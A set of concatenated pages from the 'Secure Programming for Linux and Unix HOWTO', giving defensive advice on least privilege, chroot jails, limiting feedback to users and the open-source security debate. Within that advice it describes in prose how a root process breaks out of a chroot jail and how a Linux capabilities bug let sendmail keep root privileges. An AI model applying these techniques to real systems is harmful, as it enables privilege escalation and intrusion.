 (\.[A-Z]+(\-[A-Z0-9]+)*)?
 (\@[A-Za-z0-9]+(\=[A-Za-z0-9\-]+)
  (,[A-Za-z0-9]+(\=[A-Za-z0-9\-]+))*)?$
In both cases, these patterns use POSIX's extended (``modern'') regular expression notation (see regex(3) and regex(7) on Unix-like systems).

Of course, languages cannot be supported without a standard way to represent their written symbols, which brings us to the issue of character encoding.

Prev | Home | Next
Other Inputs | Up | Character Encoding


Minimize Feedback

Secure Programming for Linux and Unix HOWTO
Prev Chapter 8. Send Information Back Judiciously Next

8.1. Minimize Feedback

Avoid giving much information to untrusted users; simply succeed or fail, and if it fails just say it failed and minimize information on why it failed. Save the detailed information for audit trail logs. For example:

  • If your program requires some sort of user authentication (e.g., you're writing a network service or login program), give the user as little information as possible before they authenticate. In particular, avoid giving away the version number of your program before authentication. Otherwise, if a particular version of your program is found to have a vulnerability, then users who don't upgrade from that version advertise to attackers that they are vulnerable.

  • If your program accepts a password, don't echo it back; this creates another way passwords can be seen.

Prev | Home | Next
Send Information Back Judiciously | Up | Don't Include Comments


Minimize the Functionality of a Component

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.5. Minimize the Functionality of a Component

In a related move, minimize the amount of functionality provided by your component. If it does several functions, consider breaking its implementation up into those smaller functions. That way, users who don't need some functions can disable just those portions. This is particularly important when a flaw is discovered - this way, users can disable just one component and still use the other parts.

Prev | Home | Next
Minimize Privileges | Up | Avoid Creating Setuid/Setgid Scripts


Minimize Privileges

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.4. Minimize Privileges

As noted earlier, it is an important general principle that programs have the minimal amount of privileges necessary to do its job (this is termed ``least privilege''). That way, if the program is broken, its damage is limited. The most extreme example is to simply not write a secure program at all - if this can be done, it usually should be. For example, don't make your program setuid or setgid if you can; just make it an ordinary program, and require the administrator to log in as such before running it.

In Linux and Unix, the primary determiner of a process' privileges is the set of id's associated with it: each process has a real, effective and saved id for both the user and group (a few very old Unixes don't have a ``saved'' id). Linux also has, as a special extension, a separate filesystem UID and GID for each process. Manipulating these values is critical to keeping privileges minimized, and there are several ways to minimize them (discussed below). You can also use chroot(2) to minimize the files visible to a program. There are a few other values determining privilege in Linux and Unix, for example, POSIX capabilities (supported by Linux 2.2 and greater, and by some other Unix-like systems).

6.4.1. Minimize the Privileges Granted

Perhaps the most effective technique is to simply minimize the highest privilege granted. In particular, avoid granting a program root privilege if possible. Don't make a program setuid root if it only needs access to a small set of files; consider creating separate user or group accounts for different function.

A common technique is to create a special group, change a file's group ownership to that group, and then make the program setgid to that group. It's better to make a program setgid instead of setuid where you can, since group membership grants fewer rights (in particular, it does not grant the right to change file permissions).

This is commonly done for game high scores. Games are usually setgid games, the score files are owned by the group games, and the programs themselves and their configuration files are owned by someone else (say root). Thus, breaking into a game allows the perpetrator to change high scores but doesn't grant the privilege to change the game's executable or configuration file. The latter is important; if an attacker could change a game's executable or its configuration files (which might control what the executable runs), then they might be able to gain control of a user who ran the game.

If creating a new group isn't sufficient, consider creating a new pseudouser (really, a special role) to manage a set of resources. Web servers typically do this; often web servers are set up with a special user (``nobody'') so that they can be isolated from other users. Indeed, web servers are instructive here: web servers typically need root privileges to start up (so they can attach to port 80), but once started they usually shed all their privileges and run as the user ``nobody''. Again, usually the pseudouser doesn't own the primary program it runs, so breaking into the account doesn't allow for changing the program itself. As a result, breaking into a running web server normally does not automatically break the whole system's security.

If you're using a database system (say, by calling its query interface), limit the rights of the database user that the application uses. For example, don't give that user access to all of the system stored procedures if that user only needs access to a handful of user-defined ones. Do everything you can inside stored procedures. That way, even if someone does manage to force arbitrary strings into the query, the damage that can be done is limited. If you must directly a regular SQL query with client supplied data, wrap it in something that limits its activities (e.g., sp_sqlexec). (My thanks to SPI Labs for these database system suggestions).

If you must give a program privileges usually reserved for root, consider using POSIX capabilities as soon as your program can minimize the privileges available to your program. POSIX capabilities are available in Linux 2.2 and in many other Unix-like systems. By calling cap_set_proc(3) or the Linux-specific capsetp(3) routines immediately after starting, you can permanently reduce the abilities of your program to just those abilities it actually needs. For example the network time daemon (ntpd) traditionally has run as root, because it needs to modify the current time. However, patches have been developed so ntpd only needs a single capability, CAP_SYS_TIME, so even if an attacker gains control over ntpd it's somewhat more difficult to exploit the program.

I say ``somewhat limited'' because, unless other steps are taken, retaining a privilege using POSIX capabilities requires that the process continue to have the root user id. Because many important files (configuration files, binaries, and so on) are owned by root, an attacker controlling a program with such limited capabilities can still modify key system files and gain full root-level privilege. A Linux kernel extension (available in versions 2.4.X and 2.2.19+) provides a better way to limit the available privileges: a program can start as root (with all POSIX capabilities), prune its capabilities down to just what it needs, call prctl(PR_SET_KEEPCAPS,1), and then use setuid() to change to a non-root process. The PR_SET_KEEPCAPS setting marks a process so that when a process does a setuid to a nonzero value, the capabilities aren't cleared (normally they are cleared). This process setting is cleared on exec(). However, note that PR_SET_KEEPCAPS is a Linux-unique extension for newer versions of the linux kernel.

One Linux-unique tool you can use to simplify minimizing granted privileges is the ``compartment'' tool developed by SuSE. This tool sets the filesystem root, uid, gid, and/or the capability set, then runs the given program. This is particularly handy for running some other program without modifying it. Here's the syntax of version 0.5:

Syntax: compartment [options] /full/path/to/program

Options:
  --chroot path   chroot to path
  --user user     change UID to this user
  --group group   change GID to this group
  --init program  execute this program before doing anything
  --cap capset    set capset name. You can specify several
  --verbose       be verbose
  --quiet         do no logging (to syslog)

Thus, you could start a more secure anonymous ftp server using:
  compartment --chroot /home/ftp --cap CAP_NET_BIND_SERVICE anon-ftpd

At the time of this writing, the tool is immature and not available on typical Linux distributions, but this may quickly change. You can download the program via http://www.suse.de/~marc.

Note that not all Unix-like systems, implement POSIX capabilities, and PR_SET_KEEPCAPS is currently a Linux-only extension. Thus, these approaches limit portability. However, if you use it merely as an optional safeguard only where it's available, using this approach will not really limit portability. Also, while the Linux kernel version 2.2 and greater includes the low-level calls, the C-level libraries to make their use easy are not installed on some Linux distributions, slightly complicating their use in applications. For more information on Linux's implementation of POSIX capabilities, see http://linux.kernel.org/pub/linux/libs/security/linux-privs.

FreeBSD has the jail() function for limiting privileges; see the jail documentation for more information. There are a number of specialized tools and extensions for limiting privileges; see Section 3.10.

6.4.2. Minimize the Time the Privilege Can Be Used

As soon as possible, permanently give up privileges. Some Unix-like systems, including Linux, implement ``saved'' IDs which store the ``previous'' value. The simplest approach is to reset any supplemental groups if appropriate (e.g., using setgroups(2)), and then set the other id's twice to an untrusted id. In setuid/setgid programs, you should usually set the effective gid and uid to the real ones, in particular right after a fork(2), unless there's a good reason not to. Note that you have to change the gid first when dropping from root to another privilege or it won't work - once you drop root privileges, you won't be able to change much else. Note that in some systems, just setting the group isn't enough, if the process belongs to supplemental groups with privileges.

It's worth noting that there's a well-known related bug that uses POSIX capabilities to interfere with this minimization. This bug affects Linux kernel 2.2.0 through 2.2.15, and possibly a number of other Unix-like systems with POSIX capabilities. See Bugtraq id 1322 on http://www.securityfocus.com for more information. Here is their summary:

POSIX "Capabilities" have recently been implemented in the Linux kernel. These "Capabilities" are an additional form of privilege control to enable more specific control over what privileged processes can do. Capabilities are implemented as three (fairly large) bitfields, which each bit representing a specific action a privileged process can perform. By setting specific bits, the actions of privileged processes can be controlled -- access can be granted for various functions only to the specific parts of a program that require them. It is a security measure. The problem is that capabilities are copied with fork() execs, meaning that if capabilities are modified by a parent process, they can be carried over. The way that this can be exploited is by setting all of the capabilities to zero (meaning, all of the bits are off) in each of the three bitfields and then executing a setuid program that attempts to drop privileges before executing code that could be dangerous if run as root, such as what sendmail does. When sendmail attempts to drop privileges using setuid(getuid()), it fails not having the capabilities required to do so in its bitfields and with no checks on its return value . It continues executing with superuser privileges, and can run a users .forward file as root leading to a complete compromise.

One approach, used by sendmail, is to attempt to do setuid(0) after a setuid(getuid()); normally this should fail. If it succeeds, the program should stop. For more information, see http://sendmail.net/?feed=000607linuxbug. In the short term this might be a good idea in other programs, though clearly the better long-term approach is to upgrade the underlying system.

6.4.3. Minimize the Time the Privilege is Active

Use setuid(2), seteuid(2), setgroups(2), and related functions to ensure that the program only has these privileges active when necessary, and then temporarily deactivate the privilege when it's not in use. As noted above, you might want ensure that these privileges are disabled while parsing user input, but more generally, only turn on privileges when they're actually needed.

Note that some buffer overflow attacks, if successful, can force a program to run arbitrary code, and that code could re-enable privileges that were temporarily dropped. Thus, there are many attacks that temporarily deactivating a privilege won't counter - it's always much better to completely drop privileges as soon as possible. Some people even claim that ``seteuid() [is] considered harmful'' because of the many attacks it doesn't counter. Still, temporarily deactivating these permissions prevents a whole class of attacks, such as techniques to convince a program to write into a file that perhaps it didn't intend to write into. Since this technique prevents many attacks, it's worth doing if permanently dropping the privilege can't be done at that point in the program.

6.4.4. Minimize the Modules Granted the Privilege

If only a few modules are granted the privilege, then it's much easier to determine if they're secure. One way to do so is to have a single module use the privilege and then drop it, so that other modules called later cannot misuse the privilege. Another approach is to have separate commands in separate executables; one command might be a complex tool that can do a vast number of tasks for a privileged user (e.g., root), while the other tool is setuid but is a small, simple tool that only permits a small command subset. The small, simple tool checks to see if the input meets various criteria for acceptability, and then if it determines the input is acceptable, it passes the data on to the complex tool. Note that the small, simple tool must do a thorough job checking its inputs and limiting what it will pass along to the complex tool, or this can be a vulnerability. These approaches can even be layered several ways, for example, a complex user tool could call a simple setuid ``wrapping'' program (that checks its inputs for secure values) that then passes on information to another complex trusted tool. This approach is especially helpful for GUI-based systems; have the GUI portion run as a normal user, and then pass security-relevant requests on to another program that has the special privileges for actual execution.

Some applications can be best developed by dividing the problem into smaller, mutually untrusting programs. A simple way is divide up the problem into separate programs that do one thing (securely), using the filesystem and locking to prevent problems between them. If more complex interactions are needed, one approach is to fork into multiple processes, each of which has different privilege. Communications channels can be set up in a variety of ways; one way is to have a "master" process create communication channels (say unnamed pipes or unnamed sockets), then fork into different processes and have each process drop as many privileges as possible. If you're doing this, be sure to watch for deadlocks. Then use a simple protocol to allow the less trusted processes to request actions from the more trusted process(es), and ensure that the more trusted processes only support a limited set of requests. Setting user and group permissions so that no one else can even start up the sub-programs makes it harder to break into.

Some operating systems have the concept of multiple layers of trust in a single process, e.g., Multics' rings. Standard Unix and Linux don't have a way of separating multiple levels of trust by function inside a single process like this; a call to the kernel increases privileges, but otherwise a given process has a single level of trust. This is one area where technologies like Java 2, C# (which copies Java's approach), and Fluke (the basis of security-enhanced Linux) have an advantage. For example, Java 2 can specify fine-grained permissions such as the permission to only open a specific file. However, general-purpose operating systems do not typically have such abilities at this time; this may change in the near future. For more about Java, see Section 9.6.

6.4.5. Consider Using FSUID To Limit Privileges

Each Linux process has two Linux-unique state values called filesystem user id (FSUID) and filesystem group id (FSGID). These values are used when checking against the filesystem permissions. If you're building a program that operates as a file server for arbitrary users (like an NFS server), you might consider using these Linux extensions. To use them, while holding root privileges change just FSUID and FSGID before accessing files on behalf of a normal user. This extension is fairly useful, and provides a mechanism for limiting filesystem access rights without removing other (possibly necessary) rights. By only setting the FSUID (and not the EUID), a local user cannot send a signal to the process. Also, avoiding race conditions is much easier in this situation. However, a disadvantage of this approach is that these calls are not portable to other Unix-like systems.

6.4.6. Consider Using Chroot to Minimize Available Files

You can use chroot(2) to limit the files visible to your program. This requires carefully setting up a directory (called the ``chroot jail'') and correctly entering it. This can be a fairly effective technique for improving a program's security - it's hard to interfere with files you can't see. However, it depends on a whole bunch of assumptions, in particular, the program must lack root privileges, it must not have any way to get root privileges, and the chroot jail must be properly set up. I recommend using chroot(2) where it makes sense to do so, but don't depend on it alone; instead, make it part of a layered set of defenses. Here are a few notes about the use of chroot(2):

  • The program can still use non-filesystem objects that are shared across the entire machine (such as System V IPC objects and network sockets). It's best to also use separate pseudo-users and/or groups, because all Unix-like systems include the ability to isolate users; this will at least limit the damage a subverted program can do to other programs. Note that current most Unix-like systems (including Linux) won't isolate intentionally cooperating programs; if you're worried about malicious programs cooperating, you need to get a system that implements some sort of mandatory access control and/or limits covert channels.

  • Be sure to close any filesystem descriptors to outside files if you don't want them used later. In particular, don't have any descriptors open to directories outside the chroot jail, or set up a situation where such a descriptor could be given to it (e.g., via Unix sockets or an old implementation of /proc). If the program is given a descriptor to a directory outside the chroot jail, it could be used to escape out of the chroot jail.

  • The chroot jail has to be set up to be secure. Don't use a normal user's home directory (or subdirectory) as a chroot jail; use a separate location or ``home'' directory specially set aside for the purpose. Place the absolute minimum number of files there. Typically you'll have a /bin, /etc/, /lib, and maybe one or two others (e.g., /pub if it's an ftp server). Place in /bin only what you need to run after doing the chroot(); sometimes you need nothing at all (try to avoid placing a shell there, though sometimes that can't be helped). You may need a /etc/passwd and /etc/group so file listings can show some correct names, but if so, try not to include the real system's values, and certainly replace all passwords with "*".

    In /lib, place only what you need; use ldd(1) to query each program in /bin to find out what it needs, and only include them. On Linux, you'll probably need a few basic libraries like ld-linux.so.2, and not much else. Alternatively, recompile any necessary programs to be statically linked, so that they don't need dynamically loaded libraries at all.

    It's usually wiser to completely copy in all files, instead of making hard links; while this wastes some time and disk space, it makes it so that attacks on the chroot jail files do not automatically propagate into the regular system's files. Mounting a /proc filesystem, on systems where this is supported, is generally unwise. In fact, in very old versions of Linux (versions 2.0.x, at least up through 2.0.38) it's a known security flaw, since there are pseudo-directories in /proc that would permit a chroot'ed program to escape. Linux kernel 2.2 fixed this known problem, but there may be others; if possible, don't do it.

  • Chroot really isn't effective if the program can acquire root privilege. For example, the program could use calls like mknod(2) to create a device file that can view physical memory, and then use the resulting device file to modify kernel memory to give itself whatever privileges it desired. Another example of how a root program can break out of chroot is demonstrated at http://www.suid.edu/source/breakchroot.c. In this example, the program opens a file descriptor for the current directory, creates and chroots into a subdirectory, sets the current directory to the previously-opened current directory, repeatedly cd's up from the current directory (which since it is outside the current chroot succeeds in moving up to the real filesystem root), and then calls chroot on the result. By the time you read this, these weaknesses may have been plugged, but the reality is that root privilege has traditionally meant ``all privileges'' and it's hard to strip them away. It's better to assume that a program requiring continuous root privileges will only be mildly helped using chroot(). Of course, you may be able to break your program into parts, so that at least part of it can be in a chroot jail.

6.4.7. Consider Minimizing the Accessible Data

Consider minimizing the amount of data that can be accessed by the user. For example, in CGI scripts, place all data used by the CGI script outside of the document tree unless there is a reason the user needs to see the data directly. Some people have the false notion that, by not publicly providing a link, no one can access the data, but this is simply not true.

6.4.8. Consider Minimizing the Resources Available

Consider minimizing the computer resources available to a given process so that, even if it ``goes haywire,'' its damage can be limited. This is a fundamental technique for preventing a denial of service. For network servers, a common approach is to set up a separate process for each session, and for each process limit the amount of CPU time (et cetera) that session can use. That way, if an attacker makes a request that chews up memory or uses 100% of the CPU, the limits will kick in and prevent that single session from interfering with other tasks. Of course, an attacker can establish many sessions, but this at least raises the bar for an attack. See Section 3.6 for more information on how to set these limits (e.g., ulimit(1)).

Prev | Home | Next
Separate Data and Control | Up | Minimize the Functionality of a Component


Miscellaneous

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.11. Miscellaneous

The following are miscellaneous security guidelines that I couldn't seem to fit anywhere else:

Have your program check at least some of its assumptions before it uses them (e.g., at the beginning of the program). For example, if you depend on the ``sticky'' bit being set on a given directory, test it; such tests take little time and could prevent a serious problem. If you worry about the execution time of some tests on each call, at least perform the test at installation time, or even better at least perform the test on application start-up.

If you have a built-in scripting language, it may be possible for the language to set an environment variable which adversely affects the program invoking the script. Defend against this.

If you need a complex configuration language, make sure the language has a comment character and include a number of commented-out secure examples. Often '#' is used for commenting, meaning ``the rest of this line is a comment''.

If possible, don't create setuid or setgid root programs; make the user log in as root instead.

Sign your code. That way, others can check to see if what's available was what was sent.

Consider statically linking secure programs. This counters attacks on the dynamic link library mechanism by making sure that the secure programs don't use it. There are several downsides to this however. This is likely to increase disk and memory use (from multiple copies of the same routines). Even worse, it makes updating of libraries (e.g., for security vulnerabilities) more difficult - in most systems they won't be automatically updated and have to be tracked and implemented separately.

When reading over code, consider all the cases where a match is not made. For example, if there is a switch statement, what happens when none of the cases match? If there is an ``if'' statement, what happens when the condition is false?

Merely ``removing'' a file doesn't eliminate the file's data from a disk; on most systems this simply marks the content as ``deleted'' and makes it eligible for later reuse, and often data is at least temporarily stored in other places (such as memory, swap files, and temporary files). Indeed, against a determined attacker, writing over the data isn't enough. A classic paper on the problems of erasing magnetic media is Peter Gutmann's paper ``Secure Deletion of Data from Magnetic and Solid-State Memory''. A determined adversary can use other means, too, such as monitoring electromagnetic emissions from computers (military systems have to obey TEMPEST rules to overcome this) and/or surreptitious attacks (such as monitors hidden in keyboards).

When fixing a security vulnerability, consider adding a ``warning'' to detect and log an attempt to exploit the (now fixed) vulnerability. This will reduce the likelihood of an attack, especially if there's no way for an attacker to predetermine if the attack will work, since it exposes an attack in progress. In short, it turns a vulnerability into an intrusion detection system. This also suggests that exposing the version of a server program before authentication is usually a bad idea for security, since doing so makes it easy for an attacker to only use attacks that would work. Some programs make it possible for users to intentionally ``lie'' about their version, so that attackers will use the ``wrong attacks'' and be detected. Also, if the vulnerability can be triggered over a network, please make sure that security scanners can detect the vulnerability. I suggest contacting Nessus (http://www.nessus.org) and make sure that their open source security scanner can detect the problem. That way, users who don't check their software for upgrades will at least learn about the problem during their security vulnerability scans (if they do them as they should).

Every once in a while, review security guidelines like this one. At least re-read the conclusions in Chapter 11, and feel free to go back to the introduction (Chapter 1) and start again!

Prev | Home | Next
Physical Emissions | Up | Conclusion


Don't Include Comments

Secure Programming for Linux and Unix HOWTO
Prev Chapter 8. Send Information Back Judiciously Next

8.2. Don't Include Comments

When returning information, don't include any ``comments'' unless you're sure you want the receiving user to be able to view them. This is a particular problem for web applications that generate files (such as HTML). Often web application programmers wish to comment their work (which is fine), but instead of simply leaving the comment in their code, the comment is included as part of the generated file (usually HTML or XML) that is returned to the user. The trouble is that these comments sometimes provide insight into how the system works in a way that aids attackers.

Prev | Home | Next
Minimize Feedback | Up | Handle Full/Unresponsive Output


Is Open Source Good for Security?

Secure Programming for Linux and Unix HOWTO
Prev Chapter 2. Background Next

2.4. Is Open Source Good for Security?

There's been a lot of debate by security practitioners about the impact of open source approaches on security. One of the key issues is that open source exposes the source code to examination by everyone, both the attackers and defenders, and reasonable people disagree about the ultimate impact of this situation.

Here are a few quotes from people who have examined the topic. Bruce Schneier argues that smart engineers should ``demand open source code for anything related to security'' [Schneier 1999], and he also discusses some of the preconditions which must be met to make open source software secure. Vincent Rijmen, a developer of the winning Advanced Encryption Standard (AES) encryption algorithm, believes that the open source nature of Linux provides a superior vehicle to making security vulnerabilities easier to spot and fix, ``Not only because more people can look at it, but, more importantly, because the model forces people to write more clear code, and to adhere to standards. This in turn facilitates security review'' [Rijmen 2000]. Elias Levy (Aleph1) discusses some of the problems in making open source software secure in his article "Is Open Source Really More Secure than Closed?". His summary is:

So does all this mean Open Source Software is no better than closed source software when it comes to security vulnerabilities? No. Open Source Software certainly does have the potential to be more secure than its closed source counterpart. But make no mistake, simply being open source is no guarantee of security.

John Viega's article "The Myth of Open Source Security" also discusses issues, and summarizes things this way:

Open source software projects can be more secure than closed source projects. However, the very things that can make open source programs secure -- the availability of the source code, and the fact that large numbers of users are available to look for and fix security holes -- can also lull people into a false sense of security.

Michael H. Warfield's "Musings on open source security" is much more positive about the impact of open source software on security. Fred Schneider doesn't believe that open source helps security, saying ``there is no reason to believe that the many eyes inspecting (open) source code would be successful in identifying bugs that allow system security to be compromised'' and claiming that ``bugs in the code are not the dominant means of attack'' [Schneider 2000]. He also claims that open source rules out control of the construction process, though in practice there is such control - all major open source programs have one or a few official versions with ``owners'' with reputations at stake. Peter G. Neumann discusses ``open-box'' software (in which source code is available, possibly only under certain conditions), saying ``Will open-box software really improve system security? My answer is not by itself, although the potential is considerable'' [Neumann 2000]. TruSecure Corporation, under sponsorship by Red Hat (an open source company), has developed a paper on why they believe open source is more effective for security [TruSecure 2001]. Natalie Walker Whitlock's IBM DeveloperWorks article discusses the pros and cons as well. Brian Witten, Carl Landwehr, and Micahel Caloyannides [Witten 2001] published in IEEE Software an article tentatively concluding that having source code available should work in the favor of system security; they note:

``We can draw four additional conclusions from this discussion. First, access to source code lets users improve system security -- if they have the capability and resources to do so. Second, limited tests indicate that for some cases, open source life cycles produce systems that are less vulnerable to nonmalicious faults. Third, a survey of three operating systems indicates that one open source operating system experienced less exposure in the form of known but unpatched vulnerabilities over a 12-month period than was experienced by either of two proprietary counterparts. Last, closed and proprietary system development models face disincentives toward fielding and supporting more secure systems as long as less secure systems are more profitable. Notwithstanding these conclusions, arguments in this important matter are in their formative stages and in dire need of metrics that can reflect security delivered to the customer.''

Sometimes it's noted that a vulnerability that exists but is unknown can't be exploited, so the system ``practically secure.'' In theory this is true, but the problem is that once someone finds the vulnerability, the finder may just exploit the vulnerability instead of helping to fix it. Having unknown vulnerabilities doesn't really make the vulnerabilities go away; it simply means that the vulnerabilities are a time bomb, with no way to know when they'll be exploited. Fundamentally, the problem of someone exploiting a vulnerability they discover is a problem for both open and closed source systems. It's been argued that a system without source code is more secure in this sense because, since there's less information available for an attacker, it would be harder for an attacker to find the vulnerabilities. A counter-argument is that attackers generally don't need source code, and if they want to use source code they can use disassemblers to re-create the source code of the product. See Flake [2001] for one discussion of how closed code can still be examined for security vulnerabilities (e.g., using disassemblers). In contrast, defenders won't usually look for problems if they don't have the source code, so not having the source code puts defenders at a disadvantage compared to attackers.

One claim sometimes made is that people should not post warnings about vulnerabilities and discuss them. This sounds good in theory, but the problem is that attackers already distribute information about vulnerabilities through a large number of channels. In short, such approaches would leave defenders vulnerable, while doing nothing to inhibit attackers. In the past, companies actively tried to prevent disclosure of vulnerabilities, but experience showed that, in general, companies didn't fix vulnerabilities until they were widely known to their users (who could then insist that the vulnerabilities be fixed). This is all part of the argument for ``full disclosure.'' Gartner Group has a blunt commentary in a CNET.com article titled ``Commentary: Hype is the real issue - Tech News.'' They stated:

The comments of Microsoft's Scott Culp, manager of the company's security response center, echo a common refrain in a long, ongoing battle over information. Discussions of morality regarding the distribution of information go way back and are very familiar. Several centuries ago, for example, the church tried to squelch Copernicus' and Galileo's theory of the sun being at the center of the solar system... Culp's attempt to blame "information security professionals" for the recent spate of vulnerabilities in Microsoft products is at best disingenuous. Perhaps, it also represents an attempt to deflect criticism from the company that built those products... [The] efforts of all parties contribute to a continuous process of improvement. The more widely vulnerabilities become known, the more quickly they get fixed.

It's sometimes argued that open source programs, because there's no enforced control by a single company, permit people to insert Trojan Horses and other malicious code. Trojan horses can be inserted into open source code, true, but they can also be inserted into proprietary code. A disgruntled or bribed employee can insert malicious code, and in many organizations it's much less likely to be found than in an open source program. After all, no one outside the organization can review the source code, and few companies review their code internally (or, even if they do, few can be assured that the reviewed code is actually what is used). And the notion that a closed-source company can be sued later has little evidence; nearly all licenses disclaim all warranties, and courts have generally not held software development companies liable.

Borland's InterBase server is an interesting case in point. Some time between 1992 and 1994, Borland inserted an intentional ``back door'' into their database server, ``InterBase''. This back door allowed any local or remote user to manipulate any database object and install arbitrary programs, and in some cases could lead to controlling the machine as ``root''. This vulnerability stayed in the product for at least 6 years - no one else could review the product, and Borland had no incentive to remove the vulnerability. Then Borland released its source code on July 2000. The "Firebird" project began working with the source code, and uncovered this serious security problem with InterBase in December 2000. By January 2001 the CERT announced the existence of this back door as CERT advisory CA-2001-01. What's discouraging is that the backdoor can be easily found simply by looking at an ASCII dump of the program (a common cracker trick). Once this problem was found by open source developers reviewing the code, it was patched quickly. You could argue that, by keeping the password unknown, the program stayed safe, and that opening the source made the program less secure. I think this is nonsense, since ASCII dumps are trivial to do and well-known as a standard attack technique, and not all attackers have sudden urges to announce vulnerabilities - in fact, there's no way to be certain that this vulnerability has not been exploited many times. It's clear that after the source was opened, the source code was reviewed over time, and the vulnerabilities found and fixed. One way to characterize this is to say that the original code was vulnerable, its vulnerabilities became easier to exploit when it was first made open source, and then finally these vulnerabilities were fixed.

The advantages of having source code open extends not just to software that is being attacked, but also extends to vulnerability assessment scanners. Vulnerability assessment scanners intentionally look for vulnerabilities in configured systems. A recent Network Computing evaluation found that the best scanner (which, among other things, found the most legitimate vulnerabilities) was Nessus, an open source scanner [Forristal 2001].

So, what's the bottom line? I personally believe that when a program is first made open source, it often starts less secure for any users (through exposure of vulnerabilities), and over time (say a few years) it has the potential to be much more secure than a closed program. Just making a program open source doesn't suddenly make a program secure, and making an open source program secure is not guaranteed:

  • First, people have to actually review the code. This is one of the key points of debate - will people really review code in an open source project? All sorts of factors can reduce the amount of review: being a niche or rarely-used product (where there are few potential reviewers), having few developers, and use of a rarely-used computer language. Clearly, a program that has a single developer and no other contributors of any kind doesn't have this kind of review. On the other hand, a program that has a primary author and many other people who occasionally examine the code and contribute suggests that there are others reviewing the code (at least to create contributions). In general, if there are more reviewers, there's generally a higher likelihood that someone will identify a flaw - this is the basis of the ``many eyeballs'' theory.

    One factor that can particularly reduce review likelihood is not actually being open source. Some vendors like to posture their ``disclosed source'' (also called ``source available'') programs as being open source, but since the program owner has extensive exclusive rights, others will have far less incentive to work ``for free'' for the owner on the code. Even open source licenses which have unusually asymmetric rights (such as the MPL) have this problem. After all, people are less likely to voluntarily participate if someone else will have rights to their results that they don't have (as Bruce Perens says, ``who wants to be someone else's unpaid employee?''). In particular, since the reviewers with the most incentive tend to be people trying to modify the program, this disincentive to participate reduces the number of ``eyeballs''. Elias Levy made this mistake in his article about open source security; his examples of software that had been broken into (e.g., TIS's Gauntlet) were not, at the time, open source.

  • Second, at least some of the people developing and reviewing the code must know how to write secure programs. Hopefully the existence of this book will help. Clearly, it doesn't matter if there are ``many eyeballs'' if none of the eyeballs know what to look for. Note that it's not necessary for everyone to know how to write secure programs, as long as those who do know how are examining the code changes.

  • Third, once found, these problems need to be fixed quickly and their fixes distributed. Open source systems tend to fix the problems quickly, but the distribution is not always smooth. For example, the OpenBSD developers do an excellent job of reviewing code for security flaws - but they don't always report the identified problems back to the original developer. Thus, it's quite possible for there to be a fixed version in one system, but for the flaw to remain in another.

Another advantage of open source is that, if you find a problem, you can fix it immediately.

In short, the effect on security of open source software is still a major debate in the security community, though a large number of prominent experts believe that it has great potential to be more secure.

Prev | Home | Next
Why do Programmers Write Insecure Code? | Up | Types of Secure Programs


Other Inputs

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.6. Other Inputs

Programs must ensure that all inputs are controlled; this is particularly difficult for setuid/setgid programs because they have so many such inputs. Other inputs programs must consider include the current directory, signals, memory maps (mmaps), System V IPC, and the umask (which determines the default permissions of newly-created files). Consider explicitly changing directories (using chdir(2)) to an appropriately fully named directory at program startup.

Prev | Home | Next
Web-Based Application Inputs (Especially CGI Scripts) | Up | Human Language (Locale) Selection


Other Languages

Secure Programming for Linux and Unix HOWTO
Prev Chapter 5. Avoid Buffer Overflow Next

5.4. Other Languages

The problem of buffer overflows is an excellent argument for using other programming languages such as Perl, Python, Java, and Ada95. After all, nearly all other programming languages used today (other than assembly language) protect against buffer overflows. Using those other languages does not eliminate all problems, of course; in particular see the discussion in Section 7.3 regarding the NIL character. There is also the problem of ensuring that those other languages' infrastructure (e.g., run-time library) is available and secured. Still, you should certainly consider using other programming languages when developing secure programs to protect against buffer overflows.

Prev | Home | Next
Compilation Solutions in C/C++ | Up | Structure Program Internals and Approach


Other Sources of Security Information

Secure Programming for Linux and Unix HOWTO
Prev Chapter 2. Background Next

2.9. Other Sources of Security Information

There are a vast number of web sites and mailing lists dedicated to security issues. Here are some other sources of security information:

  • Securityfocus.com has a wealth of general security-related news and information, and hosts a number of security-related mailing lists. See their website for information on how to subscribe and view their archives. A few of the most relevant mailing lists on SecurityFocus are:

    • The ``Bugtraq'' mailing list is, as noted above, a ``full disclosure moderated mailing list for the detailed discussion and announcement of computer security vulnerabilities: what they are, how to exploit them, and how to fix them.''

    • The ``secprog'' mailing list is a moderated mailing list for the discussion of secure software development methodologies and techniques. I specifically monitor this list, and I coordinate with its moderator to ensure that resolutions reached in SECPROG (if I agree with them) are incorporated into this document.

    • The ``vuln-dev'' mailing list discusses potential or undeveloped holes.

  • IBM's ``developerWorks: Security'' has a library of interesting articles. You can learn more from http://www.ibm.com/developer/security.

  • For Linux-specific security information, a good source is LinuxSecurity.com. If you're interested in auditing Linux code, places to see include the Linux Security-Audit Project FAQ and Linux Kernel Auditing Project are dedicated to auditing Linux code for security issues.

Of course, if you're securing specific systems, you should sign up to their security mailing lists (e.g., Microsoft's, Red Hat's, etc.) so you can be warned of any security updates.

Prev | Home | Next
Sources of Design and Implementation Guidelines | Up | Document Conventions


Send Information Back Judiciously

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 8. Send Information Back Judiciously

Do not answer a fool according to his folly, or you will be like him yourself.
Proverbs 26:4 (NIV)
Table of Contents
8.1. Minimize Feedback
8.2. Don't Include Comments
8.3. Handle Full/Unresponsive Output
8.4. Control Data Formatting (``Format Strings'')
8.5. Control Character Encoding in Output
8.6. Prevent Include/Configuration File Access
Prev | Home | Next
Hide Sensitive Information |  | Minimize Feedback


Control Character Encoding in Output

Secure Programming for Linux and Unix HOWTO
Prev Chapter 8. Send Information Back Judiciously Next

8.5. Control Character Encoding in Output

In general, a secure program must ensure that it synchronizes its clients to any assumptions made by the secure program. One issue often impacting web applications is that they forget to specify the character encoding of their output. This isn't a problem if all data is from trusted sources, but if some of the data is from untrusted sources, the untrusted source may sneak in data that uses a different encoding than the one expected by the secure program. This opens the door for a cross-site malicious content attack; see Section 4.9 for more information.

CERT's tech tip on malicious code mitigation explains the problem of unspecified character encoding fairly well, so I quote it here:

